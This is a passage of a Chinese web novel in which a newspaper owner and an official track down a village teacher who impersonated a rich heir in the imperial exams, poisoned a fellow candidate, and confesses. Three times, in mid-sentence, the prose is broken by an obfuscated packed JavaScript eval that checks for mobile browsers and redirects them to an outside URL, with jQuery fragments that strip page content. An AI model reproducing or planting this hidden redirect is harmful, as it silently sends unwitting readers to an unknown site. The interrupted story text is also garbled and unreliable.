许昭作出下一步打算，对孟允抒和陈暄交代道：“事不宜迟，我马上回官府，带上人前去柳玉成的住处。” “大人且慢。”陈暄上前一步说道，“柳玉成家恐怕已经是人去屋空了。自判罚结果公布后，我曾找过柳玉成几回，除了前两次他在家以外，后面我就再也没能敲开他的大门.他周边的街坊邻居都说，他已经搬离了那里。” 柳玉成的这一举动更是让他的作案嫌疑直线上升。 许昭略一思索后说道：“既是如此，我先和几人前去他家中查看情况，若他的确已经搬离那里，我再发布公告悬赏寻人。” “我和你一起去。”孟允抒起身说，“如有需要，我也可以将此事登在小报上，发动民众提供线索。” 许昭开口想说些什么，他瞥了眼在场的其余两人，却止住了话头。 在离开揽月阁，支走陈暄之后，他这才向孟允抒说出方才没说出口的话。 “姑娘请回报社吧，接下来的事你就别参与了。” 孟允抒的调查骤然受阻，她连忙问许昭：“是因为公子查案不方便外人在场吗？” 许昭飞快地瞟了她一眼，又迅速将目光从她身上挪开，故作镇定地点点头。 孟允抒从他的表现中就能看出，许昭肯定在瞒她。 她停下脚步，强硬地命令道：“许公子，你看着我。” 许昭转过头照做。 “你告诉我，为什么突然不让我继续往下查了？” 见许昭眼神飘忽，孟允抒眼疾手快地扶住他的脑袋，不让他把头转回去。 孟允抒装出委屈的模样说道：“那日我与你谈心之后，还以为公子此后就愿意与我坦诚相待，原来只是我一厢情愿。” 她失望地收回手，却被许昭急忙攥住手腕：“姑娘别误会，我不是这个意思。” 见孟允抒在一旁长吁短叹，许昭无措地解释道：“正如潘掌柜所说，此事太过危险，其中不知会牵涉何方势力，我担心你会被波及。” 孟允抒察觉到自己手腕上的力道更重了些，许昭像是极力想要抓住她。 许昭的声音非常低落：“我不能再让我的亲友遭遇类似的事。” 他指的当然是过去揭发知县罪证一事。 孟允抒蓦地发现，这桩案件中有诸多细节能让许昭触景生情。 寒门学子平白受冤，县衙官员受贿渎职，陈暄为挚友两肋插刀，身边人被卷入事件漩涡。 历史总是惊人地相似。 如果许昭做不到坦然面对这些，那他就永远无法摆脱过去的阴霾。 “许公子，我且问你，在你秉公直言、追求真相时，可曾害怕得罪旁人？” 许昭摇头：“不怕。这是我分内之事，若非如此，我做官就毫无意义。” 孟允抒笑笑：“既然公子不怕，那我自然也不怕，请公子信我。” 察觉到许昭卸下手上的力道，孟允抒抽出手腕反握住他的手：“再者，追寻真相也是我的目标。我与公子想做的事只是恰巧一样，无论遭遇什么都缘于我自身，绝非是因为受你牵连。你不必将责任全部归结在自己身上。” 许昭愣了愣神。孟允抒这话既像是安慰又像是斥责，但她的意思很明确，她是自己主动想这样做，而非作为许昭的附属无辜受累。 她松开许昭的手，半是示威半是调侃道：“要是公子不愿同我合作，我也不可能就此罢休。我会通过其他方式继续查下去。” “不，我明白姑娘的志向了。”许昭释然地笑笑，“那就请你与我同行，助我破获此案。” 24. 线索 正如陈暄所说，孟允抒一行人赶至柳玉成家却扑了个空，破门而入后并未获得更多线索。面对许昭的询问，柳玉成的左邻右舍也只是摇头，言说不知他身在何处。 几人无功而返，于是孟允抒和许昭按照起初的计划分头行动，各自打探柳玉成的踪迹。 孟允抒坐在办公室内，推开桌上堆积如山的纸张，腾出一小块空地将胳膊搭上去，端详着今日将要发行的小报。 她翻过几张纸，在看到那张带着画像的寻人启事时，动作随之一顿。 报社已经连续两日刊登有偿寻找柳玉成的消息，她也陆续收集了些线索，但大部分情报的真实性不敢恭维。 许昭那边的调查也还没有眉目。 今日已经是第三天，距离任务截止期限仅剩四日，但事情依然没有半分进展。 孟允抒盯着画像上的人物陷入沉思。根据潘掌柜和陈暄的描述，柳玉成相貌清俊，打扮简朴，气质内敛儒雅，前几日她和许昭前往他家也发现，柳玉成的住处可用“家徒四壁”来形容。 无论从哪个方面来看，都难以让人将他与蓄意谋杀的罪名联系在一起，柳玉成也并不像是有手眼通天的本事。 孟允抒重新梳理这桩案件以及他们掌握的信息，当下他们最欠缺的是确切的证据。 许昭先前曾提出此案的几个疑点，但凭它们及陈暄、潘掌柜的证词，目前还不足以直接给任何人定罪。 “孟社长，有人找您，说是有关于柳玉成的线索。” 排云的笑声打断了孟允抒的思考，她点头道：“请他进来。” 随着排云作出邀请的动作，门口赫然出现一张熟悉的面庞。 “孟社长日理万机，我贸然打扰，实在抱歉。” “睿言？”孟允抒对他的突然到访有些意外，起身请他坐下问，“这会辰时未过，你是怎么溜出来的？” “今日我清闲无事，点了卯之后就没人管我，我便寻了个机会跑出官府。”萧睿言不慌不忙地端杯抿了一口，赞叹道，“孟社长这里的茶果真不俗。” 萧睿言算是报社的兼职探官，平日里的朝堂新闻多半来自于他，孟允抒也经常能在官府散值之前见到他的身影。 只是今日萧睿言一大早就来报社，这还是头一回。 孟允抒言归正传：“方才你说有柳玉成的线索？” “正是。”萧睿言见孟允抒桌上正巧搁着那则寻人启事，他顺手将小报拿过来笑道，“我若是提供线索，孟社长可要兑现诺言，为我支付报酬。” “那是自然。”孟允抒转而问道，“但你为何不直接将线索告诉许郎？” 她和许昭分别发布告示的目的是尽可能多地推广这则信息，朝廷内部的消息流通显然比他们的小报更快，她不明白萧睿言为什么要舍近求远。 “就我知道的信息而言，柳玉成的事恐怕是拔出萝卜带出泥。我是想凭借情报获利，却不愿引火上身。”萧睿言回答，“官员间利益纠葛错综复杂，若我向许大人提供线索，难保不会走漏风声。” 相比之下，孟允抒接待的访客鱼龙混杂，为萧睿言提供了浑水摸鱼的良好机会。 孟允抒从萧睿言的话中听得出，他掌握着一个重要线索。她站起身请萧谨言去隔壁：“我们换个地方说话。” 中庭里那个最小的房屋就是会客间，与线人密谈、读者来访等活动都会在此进行。 孟允抒与萧睿言重新落座，他再次扫了眼柳玉成的画像，直入正题道：“我不知柳玉成身在何处，但我上次见到他时，他用的并非这个姓名。” 萧睿言放下手中的小报，坐直了身子。 “两个月前我参加会试，他曾在我之前排队入场。他衣着简朴，身形清瘦，但身上背的包袱却是崭新的，用的也是上等布料，因而我多留意了他几眼。当时他向考官所报的名号是‘方知瑜’。” 方知瑜是方家的二公子，在权贵富户多如牛毛的京城，方家虽不是首屈一指的世家大族，但也算是有几分名气的富商。 尽管十分震惊，孟允抒依然压低声音问：“你是说，柳玉成是冒名顶替方知瑜前去应试？” 科举舞弊是重罪，更何况他参加的还是科举中的高级考试，这简直就是在皇上眼皮子底下顶风作案。 萧睿言笑笑，将自己从这件事中择了个干净：“我可从没说过这样的话，只是将我所知道的情况如实相告，具体如何决断还要看孟社长和许大人。” 孟允抒早就摸清了萧睿言“不粘锅”的特性，满口答应着请他继续讲下去。 “会试结束后，方知瑜排名第九，但殿试那日我却不曾见过他。”萧睿言指指柳玉成的画像，“是另一个‘方知瑜’来参加的考试。” 萧睿言的话意味深长，他明里暗里地提醒孟允抒，这件事一定暗藏玄机。 殿试是由皇帝亲自主持，在这一步可没有哪个不要命的敢去替考。这次来应试的应当是方知瑜本人。 “殿试放榜那日，我通读所有考生姓名，在最后一行看到了方知瑜的名字。来参加琼林宴的方知瑜与参加殿试的是同一人，我曾在席间同他交谈，他言说当时他身体不适，发挥欠佳，故而得此成绩。” 在科考中，殿试这一环节不会淘汰考生，所有的应试者都将一齐参与排名。可以这么说，一个人若是通过会试，那么他做官就是板上钉钉的事。 所以，如果柳玉成真是替方知瑜前去考试，帮到这一步也算是功成身退。 孟允抒听完萧睿言的叙述，除过对陈修远一案作出新猜想以外，同时在心底感叹萧睿言实在狡猾。 在他发现有两个方知瑜时，就应当意识到矛盾所在，但他却一直默不作声，直至今日借着许昭查案的东风才出来揭发。 他这是在避免成为那个引人注目的出头鸟。 孟允抒半是打趣半是内涵地说：“你真是好记性，这么久了居然还记得柳玉成的样貌。” 萧睿言反而夸赞她道：“那是因为孟社长慧眼识珠，找的画师技艺精湛，令人一眼便知此人模样。若非如此，我哪能想得起两月以前的事？” 经过这段时间的合作与相处，孟允抒知道萧睿言是打太极的高手，有话直说反而能提高两人的沟通效率。 “你早已察觉方知瑜有科举舞弊之嫌，却等到今日的机会才告发他。”孟允抒扬起唇角，但她的眼神中没有半分笑意，“你还有多少秘密瞒着旁人？” 当初创办报社时萧睿言突然蹦出来支持她，为她提供诸多帮助，她本就不全然相信他。起初她想着，等以后与萧睿言认识的时间久了，或许就能了解他的想法与目的，但如今孟允抒却越发觉得他深不可测。 面对孟允抒不加掩饰的猜疑，萧睿言则显得很坦然。 他还是平日那副翩翩君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454395|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的模样，挺直腰背，语气从容：“我对你并非坦诚相待，所以社长怀疑我也是理所应当。但我可以向你保证，我虽然称不上什么好人，但也绝对不会做那些奸恶之事。” 孟允抒对他的话不置可否，只是问了另一个问题。 “睿言，我只问你一点。若非许郎查案揪出柳玉成，你是否还要继续隐瞒此事？” “是。” 萧睿言干脆利落地给出了肯定答复，孟允抒的耳朵差点没来得及捕捉他的声音。 “孟社长，你和许大人是一样的人，肯为公正与真相献出一切。”萧睿言的语气中既有敬佩也有自嘲，“但是，并非所有人都能像你们那般刚直。朝堂之中，数量最多的不是好人或坏人，而是和我一样的中立派。我们有心去做正确的事，却又会顾及自己与亲友安危。” 孟允抒倏然想起先前萧睿言和她在湖边的对话。他说，他只想在漩涡中保全自身、帮助家人。 她明白了。实际上，萧睿言早就告诉过她，他助自己办报的真正原因。 萧睿言的话也印证了这一点。 “我想要借助你和许大人的力量。从这点来说，我的确是在利用你。” 他将头垂下，又复而抬起，淡然一笑道：“如今政党之争愈演愈烈，谁都猜不到明日的政局是何种模样。我不愿与佞臣同流合污，却也不具备许大人舍生取义的气节，唯一能做的就是辅助你们这样的人，让官场不至于一片黑暗，百姓不至于申冤无门。” 孟允抒心里五味杂陈。她沉默良久后，轻轻说出一句话。 “抱歉，是我误会你了。” 萧睿言是个聪明人，她很庆幸他并不是站在自己的对立面。 会客间的门被匆忙叩响，萧谨言在外面喊道：“孟社长，你和睿言的会谈结束了吗？” “稍等。”孟允抒应了声，她起身开门问萧谨言，“你有什么事？” “今日有名编辑请假了，我这边缺人。我方才听排云说睿言来了，想找他帮忙。”萧谨言进了门，他看见坐在里面悠闲喝茶的萧睿言，气不打一处来，“你倒好，还有心思在这慢慢品茶！没事干就赶紧过来！” 孟允抒早就对这兄弟俩的相处模式习以为常，她不想被拉进两人的纷争中，又恰好要把新情报分享给许昭，于是寻了个借口告辞道：“那我先失陪了，你们聊。” “会客间不是吵架的地方，我们出去说。”萧谨言严格遵守规定，拽着萧睿言跟孟允抒一同出了门，对她说道，“你先去忙吧，这里就交给我和秋掌柜。” 在几人分别之后，孟允抒快要离开中庭时，却突然被萧睿言叫住。 “孟社长，我今日要在报社帮忙，还得忍受二哥的絮叨，没有功劳也有苦劳。”他图穷匕见，指着办公室笑着问孟允抒，“你这里的茶相当不错，我能再来几杯吗？” 萧谨言不满地在一旁训斥他：“你是来帮忙的还是来喝茶的？再说我哪里絮叨？” 孟允抒看看笑容满面地站在庭院中央的萧睿言，不知为何忽而想起，他今年刚满二十岁，放在现代也就是普通大学生的年纪。 这样一想，此前她将各种阴谋诡计与萧睿言联系起来，与他勾心斗角、反复揣摩他的心理，这一切都突然显得有些好笑。 孟允抒赶着去做正事，头也不回地摆了摆手。 “你想喝多少就喝多少吧，我准了。” 25. 教书先生 孟允抒赶往刑部，用“据不知名人士透露”这样的名号，将萧睿言所述情况反映给了许昭。 收到情报后不多时，许昭前往贡院调取“方知瑜”的原卷，暗中收集方知瑜本人和柳玉成的字迹进行比对，又寻了个由头与方知瑜谈论考题，基本可以确定柳玉成替考之事属实。 随后不久，又有几名知情人向许昭提供线索，言说柳玉成正在京郊的清源村中当教书先生。为了不打草惊蛇，许昭派人密切关注方知瑜的动向，同时带上陈暄和两名下属，与孟允抒迅速赶往清源村。 时间紧急，孟允抒和许昭在车内坐定后，这才得了空，谈论彼此对案件的猜测。 马车在路上疾驰，将两人的声音遮盖了大半。 “陈修远是在进京赶考后才与柳玉成结识。根据柳玉成的口供，两人是在书肆中买书相遇，因对书中论点所持观念一致，故而聊得十分投机。” 许昭回忆着卷宗记录，将他们已获取的情报串联起来。 “且不论柳玉成这段证词的真伪如何，他们两人在同一时间、同一地点参加科考，就有碰面的可能。” 他的言下之意是，陈修远或许知道柳玉成替考之事。 这是对陈修远一案最合理的解释。如此一来，柳玉成就有了作案动机，方知瑜也具有买通县衙官员的实力。 纵观当下他们所掌握的信息，所有人的证词都指向了柳玉成。只有先找到他，才能进一步推断案件真相。 想到这孟允抒有些纳闷，她问许昭：“现今距离县衙结案已是半月有余，柳玉成若是畏罪潜逃，他为何不趁早离开京城隐姓埋名，而是躲在京郊？” “清源村是柳玉成的故乡，在那里生活到底方便些。况且陈修远一案已经尘埃落定，他大概也存着侥幸心理。”许昭转而说道，“但以上只是我个人猜测，具体原因如何，恐怕只有我们亲自问过柳玉成后才能得知。” 调查再次陷入停滞，孟允抒只能将注意力挪到当下，听着马蹄叩击地面的脆响。 清源村距京城中心有八十余里，五人一大清早就踏上行程，待几辆马车行至村口时，已是黄昏时分。 马车的速度逐渐放缓，最后停了下来。前方的路太窄，马车不方便通行，于是几人下车步行。 孟允抒踩到地面上，环顾着四周的环境。清源村本就是个人口密集的大型村落，周边还有不少零散的小村庄挤在一起，村里的道路错综复杂，他们当前并不知道柳玉成的详细住址，要找到他还得花上一番功夫。 她看看村口的那户人家，篱笆圈起一片空地，房前的台阶上坐着一个半大少年和一个小女孩，男孩十四岁左右的模样，女孩看上去只有八九岁，两人正在说着些什么。 孟允抒对许昭说道：“我们去问问，看他们是否知晓柳玉成住在何处。” 许昭点头应允，当孟允抒靠近篱笆时才发现，那女孩手里捧着本书，男孩则拿着根木棍在地上写写画画，像是在给她讲解算术题。 她在门前停下脚步，露出和善的微笑：“小兄弟，还有那位小姑娘，请问柳玉成是你们村里的人吗？” 两个孩子闻声都抬起头来，男孩站起身，将女孩护在身后，向她打了个噤声的手势，警惕地盯着他们。 他并未回答孟允抒的问题，反问她道：“你们是什么人？” 今日为了路上方便，许昭等人未着官服，旁人不能像往常一样从他们的打扮上认出其官员身份。 这两个孩子不是城里人，他们应当没有听过报社的名号，孟允抒觉得她的身份解释起来太麻烦，干脆把许昭推了出去：“这位是刑部郎中许大人，我们四人都是他的随从。” 男孩闻言，将目光从他们五人的脸上依次扫过，当他再次看向许昭时，眼神中带上了几分敬畏。 孟允抒要的就是这个效果。她方才这句话把许昭的形象衬托得无比伟岸，威风八面。 许昭只能就坡下驴，学着孟允抒的样子打起官腔来：“今日我来村中寻找柳玉成，想要让他助我查明一桩冤案。我有腰牌为证。” 许昭上前一步，将腰牌递给男孩。 对方显然分辨不出腰牌的真伪，他装模做样地浏览了一遍腰牌上的各种信息，将信将疑地问道：“你们要找柳先生？” “对。”孟允抒点头，“你认识他？” “嗯。”男孩的语气坚定，充满自豪，“柳先生是我们村里的教书先生，他是个好人。如果有冤案需要平反，他肯定会鼎力相助。” 陈暄听到这话突然露出一个笑容，但那笑容中满是讥讽。 男孩没察觉出陈暄笑容中的古怪，他看了看村里来来往往的行人，像是在估量自己接下来行动的安全性。而后他开口说道：“村里的路不好走，我带你们去吧。” 孟允抒喜出望外，向男孩连连道谢。 男孩叮嘱小女孩看好家，锁上大门在前方带路。孟允抒跟在他身后，和他聊起了闲话：“她是你妹妹吗？” “对。” 孟允抒又问了他几个问题，但男孩似乎有心防备着他们，每个回答都十分简短。 “我方才看到你和你妹妹在地上写字，你们都在那位柳先生的私塾中念书？” 得到男孩的肯定答复后，孟允抒看向许昭。 他的神情和孟允抒一样，向男孩投来惊异的一瞥。 在胤朝，平民阶层的读书人本就是少数，女子念书更是贵族小姐的特权。乡野间的女童捧着书看，简直可谓一大奇观。 孟允抒不动声色地说道：“小兄弟，我无意冒犯你，但我实在疑惑。我见你们的家境并不算富裕，你们爹娘居然愿意供你们兄妹二人一同读书？” “并非如此。当初我念书时就经历了许多波折，到我妹妹那里更是如此。”男孩第一次说了个长句，“所以我才说柳先生是个好人。” 他抬起头，盯着远方的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469241|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平线说：“柳先生曾说过，一个人，不论男女，不分贫富贵贱，都应当有读书的机会。我爹娘说掏不起学费，柳先生就分文不取；爹娘说妹妹读书无用，反正她将来也只是嫁作他人之妇，柳先生气得与他们大吵一架，三番五次地上门劝说，最后终于让他们同意送我妹妹去私塾。” 男孩口中的柳玉成与陈暄对他的印象大相径庭，他不可置信地问：“你说的这些都是真的？” “那是当然。” 男孩疑惑地看了看他，像是不明白他为什么会问出这样的问题。 他没有在这件事上纠结太久，因为前方的几幢房屋吸引了他的注意力：“看，那就是我们的书院。” 孟允抒抬头望去，在大片田地旁边，有一处青砖灰瓦的建筑，占地面积不大却干净整洁。三进院落依山势而建，从前庭到后院层层抬升，似乎暗含“步步高升”之意。 随着她走近私塾，匾额上“明德书院”四个大字映入眼帘。 男孩向他们讲述着书院的概况：“平日里先生们都在前庭授课，后院是他们的居所。中庭里有藏书阁，我们可以从中借阅各种典籍。” 他带五人走进前院，指着东边的那处房间对他们说道：“半个时辰前我们就已经散学，但柳先生通常会在惜时堂中多坐一会，在课后为我们答疑解惑。” 在他的指引下，孟允抒拾阶而上，随他进了屋子。 她此前已经见过柳玉成的画像，因此一眼便认出了他。柳玉成正坐在惜时堂的最前方，左右围着六七个学生，认真聆听着他的教诲。 “柳先生，这几位大人有事寻你。” 柳玉成周围的学生听到男孩的话纷纷转头，而后自觉地为柳玉成让开一条通路，好让他能看清楚来人的样貌。 当柳玉成的目光落到陈暄脸上时，他眉头微蹙：“你竟然一直寻到了这里。” 陈暄一个箭步冲上前去，当即就要发作，所幸许昭及时拦住了他。 “你要干什么？” 几个学生挡住陈暄，他们对眼前的状况一无所知，却肩并肩地站成一排，用身体护住柳玉成。 “抱歉，他向来有些冲动，我们并无恶意。”许昭令两名下属拉住许昭，又拿出自己的腰牌自证身份。 趁着许昭向柳玉成解释详情，孟允抒扫了眼这间学堂的环境。 屋内摆着三十张杉木书案，案头的笔墨纸砚一应俱全。这样看来，学生来上课时只需要带上书本即可，连文具都不需要自备。 柳玉成听许昭说完大致情况，又看了他的腰牌，语气和缓地遣散堂内的学生：“放心，他们是官府中的大人，没有恶意。你们几个先回家，有问题的话明日再与我讨论。” 几个学生踌躇了一会，在柳玉成的再三劝说下陆续离开。随后，柳玉成起身向孟允抒等人行了一礼，请他们换个地方说话。 “既然几位大人有要事在身，那就请随我到正厅详谈。” 26. 寒士欢颜 几人进了正厅在桌边落座，柳玉成关上大门，为他们倒了茶，看看陈暄说道：“几位可是为陈修远一案而来？” “是，却也不全是。” 孟允抒抿了口茶水，看似漫不经心地说起一个与案件无关的话题：“我见明德书院窗明几净，器具齐全，陈设整洁，恐怕得花上一大笔钱，柳先生真是宅心仁厚。” “孟社长谬赞了，明德书院并非由我出资建成。”柳玉成自谦地笑笑，“清源村的村民很多，孩童却没有就近读书的地方。几年前一些大家和乡绅慷慨解囊，共同修建了这所书院。” 柳玉成的回答显然是避重就轻。在来书院的路上，孟允抒一行人已经向男孩了解其详情，起初明德书院的确是由几名富人出资设立，但两年后他们就对其撒手不管，是柳玉成和其余几名先生接手书院，靠着自掏腰包苦苦支撑。 “我幼时也是在村中的私塾念书。若是没有那些先生的教诲，我也不可能在科考中崭露头角。所以我尊称您一句‘柳先生’。” 许昭盯了一会面前的茶水，他抬起头问柳玉成：“我想知道，您学识渊博，为何不通过科举入仕大展宏图，却宁愿待在这方寸之地？” “因为我从很早以前就立志要当教书先生。”柳玉成不假思索地回答。 接着，他详细讲述了他作出这一决定的原因。 “清源村是生我养我的地方，我自幼在此处长大。我亲眼见到邻居家不到十岁的女童被卖给他人做陪房，也听闻去大户人家中做小厮的男孩被雇主活活打死，随便找个地方草草一埋。” 柳玉成的声音低哑。 “有年村里的庄稼收成不好，我和几个识字的好友去京城买了农书和农具，想要改进劳作的方法，但村民们拿到农具后没过两天就将它们转手卖了出去，用换来的银子饱餐一顿，又继续过穷困潦倒的生活。” 柳玉成握紧双拳，将指节攥得发白。 “我想让他们活得像个人，能够思考，明辨是非，而不是成为被人操纵的傀儡，任人驱使的牛马，浑浑噩噩地苟活于世。” “说得倒是好听。” 陈暄猛地站起，由于他的动作幅度过大，椅子随着他起身的动作轰然倒地，发出一声巨响。 孟允抒发现，不知何时，陈暄已经是泪流满面。 他的声音饱含痛苦与愤怒。 “你将那些孩童从蒙昧中唤醒，可然后呢？让他们蒙受冤屈，遭遇不公？”陈暄拍着桌子大吼，“要像修远那般寒窗苦读十几载，终于出人头地却含冤而死，还是被你这样的替考者从金榜上生生挤掉，让那些纨绔子弟不费吹灰之力就加官进爵？” 面对他突如其来的质问，柳玉成没有防备，他惊恐万状地看向陈暄：“你在说什么？” “我已经从贡院中找出了你的答卷，也找到方知瑜本人问过话。”许昭替陈暄作出回答，“柳先生，念及你的善举，我不想直接将你带走刑讯逼供。还请你主动将代替方知瑜参与科考之事、陈修远一案的内情如实道来。这样一来，给你的判罚或许还能轻些。” 听到许昭的话，柳玉成脸上的错愕逐渐消散。他没有反抗，只是平静地靠在椅背上。 柳玉成沉默良久，缓缓地说了一句话。 “这一天终于来了。” 他长舒一口气，如释重负般地看向许昭。 “许大人，我会将实情全部告知于你。” 许昭叫下属拿来笔墨纸砚，将其分发给除陈暄以外的三人，示意柳玉成开口。 他沉思片刻，像是在回忆事情的来龙去脉，寻找一个切入点。 “方知瑜的父亲是个富商，各位大人应当略有耳闻。只是方家虽有家财万贯，却无人在朝为官。” 且不论世人公认的“士农工商”的阶层排序，一个富商要想走得长远，将家产代代相传，就需要家中有人在官场中立足。 尽管他们已经是锦衣玉食，却也不会放弃蝇头小利。即使方知瑜只能做个芝麻小官，对他们来说也是锦上添花。 “方知瑜被全家人寄予厚望，但他平日游手好闲，不喜念书，根本不可能在科考中取得名次。因此，他们四下打听，看有无合适人选替他考试。方家的一名家丁与我相识，他将消息透露给我，言说我若是能帮方知瑜做成此事，方家人将会以重金相谢。” 柳玉成低下头。 “如你们所见，运营明德书院的开支不小，村中又有许多孩童付不起学费，先生们也需要钱财生活。方家出手阔绰，我刚应承下此事，他们就给了我二百两银子。方家人告诉我，他们会打点好一切，只需要我报上方知瑜的名号，直接去考试即可。” 柳玉成停顿片刻，叹了口气。 “考试进行得十分顺利，临近会试时，为方便赶考，我暂时在城中落脚居住。那日我在书肆中与修远相逢，他对我一见如故，非要让我将姓名与住址告诉他。我挣脱不得就只能照做。” “会试结束后，修远曾请我一同吃饭，替我惋惜许久，说以我的学识不可能落榜。我当时并未听出他的弦外之音。” 孟允抒的笔尖一顿，抬眼看向柳玉成。 “直至殿试放榜，修远又来找我，质问我为何要帮助他人舞弊。这时我才知道，他曾与我在同一地点参加会试，无意中听到我用的是‘方知瑜’的名号。后来在殿试中，他确定了我是替方知瑜参加考试。” 柳玉成不敢直视陈暄的双眼，只能将头深深埋下。 “修远性情直爽，为人坦荡，无论我如何解释或劝说，他都不肯饶恕我，一定要让我主动向官府认罪。但我好不容易走到这一步，眼看着我就能用方家给我的钱财贴补书院，我绝不能让这个目标毁于一旦。” 陈暄几乎马上就要扑向柳玉成，许昭死命地按住他，让他冷静。 “所以，我将此事告诉了方知瑜，和他商讨应对之策。他担心事情败露，于是提出了一个计划。” 柳玉成痛苦地闭上双眼。 “方知瑜让我约修远出来吃饭，事先在酒中下毒。若我能与他谈和，就可以放他一马；若是不成……” 他没有将这句话说完。 “总之，方知瑜已经做好了两手准备，会为此事兜底。他只需要我动手。起初我并不同意，方知瑜威胁我，既然如此就做好与修远一同丧命的准备。我别无选择，最终只得应允。” 柳玉成又讲了案发后他的所作所为，与潘掌柜所述一致。 “解决此事后，我尽快搬离了城中，回到清源村。可当我用钱填补书院的空缺后，我始终良心不安。” “我一面担心官府的追捕，一面害怕方家人会暗中谋害我。我不仅寝食难安，随便一个风吹草动都会让我心悸许久。” 他看向面前的五人。 “好在这一切都要结束了。我没有勇气主动认罪，但既然你们已经查出我的替考之事，我再挣扎也是徒劳，不如将真相和盘托出。” 末了，柳玉成看了看陈暄，向他致以深切的歉意。 “你说得没错。我做了这样见不得光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478274|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事，得了脏钱，即使这钱是用来帮助那些学童，我也已经在无形中为虎作伥。修远是个正直的人，我确实该给他偿命。” 许昭又向柳玉成询问了一些案件的细节及相关证据，他一一作答。 柳玉成对他的罪行供认不讳，听完他全部供述的这一刻，陈暄却没了先前的激动。 他想大骂柳玉成，可他张开嘴，最终也没能发出一点声音。 孟允抒收好面前的纸张，只觉得它重如千钧。 “许大人，在我走之前，容我再向其他先生交代些书院的相关事项。” 许昭答应了他的请求。 柳玉成办完事后，他伸出双手，示意许昭为他戴上枷锁。 “刑具是给恶人用的。”许昭语气平淡地说了一句，对两个下属说道，“带他走吧。” 一行人走出门外，方才的那几个学生还停留在书院外没有离开，他们见状迎上来问：“柳先生，您要去哪？” 柳玉成勉强挤出一个笑容：“这几位大人在查一桩冤案，需要我当堂作证。” 一名看起来很开朗的女孩看向孟允抒等人，满眼敬佩：“你们就是柳先生所说的‘清官’？” 孟允抒和许昭都默不作声，陈暄则点点头。 “真好。几位大人一定要平反冤屈，造福百姓。”她又看向柳玉成问，“先生，那您什么时候回来？” 在柳玉成决定先撒谎骗过这些学生时，许昭抢先作出了回答。 “等事情办完以后，他就会回来。” 这些学童一直跟着他们走到马车旁，注视着柳玉成上了车。 车夫拉起缰绳，车轮开始缓缓转动。 孟允抒撩起车帷，看向那几个孩子。 他们口中喊着“柳先生再见”，恋恋不舍地跟着马车往前跑，就像飞蛾追逐着火光。 孟允抒心中五味杂陈。她看向柳玉成，他只是低着头，一言不发。 她不知道他是在懊悔还是悲伤、担忧，又或许三者兼有。 柳玉成一经获罪，即使能保住性命，再回到书院恐怕也得几十年以后。他的赃款更不必说，肯定要尽数上缴。 为了维护公道，他们必须将柳玉成抓获归案，可这样一来，明德书院的孩童们前途堪忧，甚至还有许多人会失去读书的机会。 正确的做法却没能带来完美的结局。 许昭发觉车内的两人情绪低落，出言宽慰道：“柳先生，只要你在接下来的取证中积极配合，勇于揭发方知瑜的罪行，就能将功补过，减轻刑罚。” 他看向窗外，那几个孩童的身影已经被马车远远甩在后面，只留下几个模糊的小点。 “待我将这桩案子了结之后，我会上疏奏议，尽力请陛下为明德书院批下一笔专款。” 这话启发了孟允抒。 法不容情，柳玉成被定罪是板上钉钉的事，但他们或许可以用其他方式替柳玉成实现心愿。 她倏忽想起，昨日傍晚客流高峰时段，曾有一个妇女进来报社瞧热闹。当时秋盈曾问她是否需要买报，那女子尴尬地笑笑，说她不识字，只能听旁人念着小报上的新闻。 若她能在报社中定期开展免费课程，不但能提高民众的文化水平，同时也能让许多潜在受众能够读懂报纸，还能趁机推广他们报社的知名度，是一举三得的好事。 孟允抒有了新主意，心绪稍稍平静下来，向柳玉成投去敬佩与感激的目光。 柳玉成犯了大错，但不可否认，他的确是一位良师。 27. 营销 按照孟允抒的吩咐，店内的几个伙计将两块蒙着纸张的木板搬到采闻堂。 孟允抒指挥着他们将木板放到居中的位置：“再往右边挪一点，对。拉开两个木板之间的距离。” 胤朝没有黑板和粉笔，孟允抒就想了这么个办法，找来两块大木板，将白纸蒙在上面，用毛笔在上面写字时注意少蘸些墨，这样就可以实现类似现代社会的教学方式。 她走到采闻堂最后方，打量着两块木板，确认在此处也能看得见上面的文字。 在那两块木板当中，左边那张纸上已经写满了字，从《三字经》的第一页讲起，直至宣纸上写不下为止；另一张则是空白，供她根据课堂内容灵活调整。 排云兴冲冲地从门外快步走来，她身后还跟着两个身着素色衣衫的女子：“孟社长，她们是来参加识字会的。” 孟允抒热情地迎进两人，请她们落了座：“两位娘子请稍候片刻，待巳时一到，我们就开始授课。” 